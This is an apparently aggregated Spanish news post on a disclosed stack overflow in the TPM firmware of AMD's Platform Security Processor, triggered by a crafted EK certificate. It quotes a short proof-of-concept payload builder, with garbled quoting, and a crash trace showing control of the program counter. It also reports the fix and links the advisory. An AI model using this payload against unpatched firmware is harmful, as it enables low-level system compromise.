Ejecución remota de código en AMD Secure Processor
AMD Secure Procesor o AMD PSP (Platform Security Processor) es un microcontrolador incluido en los procesadores AMD dedicado entre otras cosas a gestionar la seguridad de los procesos.
La vulnerabilidad permitiría a un atacante remoto ejecutar código arbitrario debido a un error de validación en el código del firmware del módulo TPM (Módulo de plataforma confiable)
Para ello, el atacante podría utilizar un certificado especialmente manipulado que provocara un desbordamiento de la pila en la función ‘EkCheckCurrentCert‘. Esta función es llamada a través de otra: ‘TPM2_CreatePrimary‘, que no comprueba si la longitud de los certificados (EK) está dentro de los límites, lo que podría provocar el desbordamiento de la pila:
NESTED_CERT_DATA1 = ‘x03x82x07xf0’ + ‘A * 0x7f0
NESTED_CERT_DATA2 = ‘x03x82’ + pack(‘>H’, len(NESTED_CERT_DATA1)) +
NESTED_CERT_DATA1
CERT_DATA = ‘x03x82’ + pack(‘>H’, len(NESTED_CERT_DATA2)) +
NESTED_CERT_DATA2
En esta prueba de concepto se consigue el control total del contador de programa:
EkCheckCurrentCert+c8 : B loc_10EE4
EkCheckCurrentCert+60 : LDR R4, =0xB80
EkCheckCurrentCert+62 : ADDS R4, #0x14
EkCheckCurrentCert+64 : ADD SP, R4
EkCheckCurrentCert+66 : POP {R4-R7,PC}
41414140 : ????
|
R0=ff,R1=f00242c,R2=f001c24,R3=824,R4=41414141,R5=41414141,R6=41414141,R7=41414141,PC=41414140,SP=f003000,LR=11125
La vulnerabilidad fue debidamente notificada a AMD y corregida en una actualización de la BIOS.
http://seclists.org/fulldisclosure/2018/Jan/12
Secure Hardware and the Creation of an Open Trusted Ecosystem
https://classic.regonline.com/custImages/360000/369552/TCC%20PPTs/TCC2013_VanDoorn.pdf
Powered by WPeMatico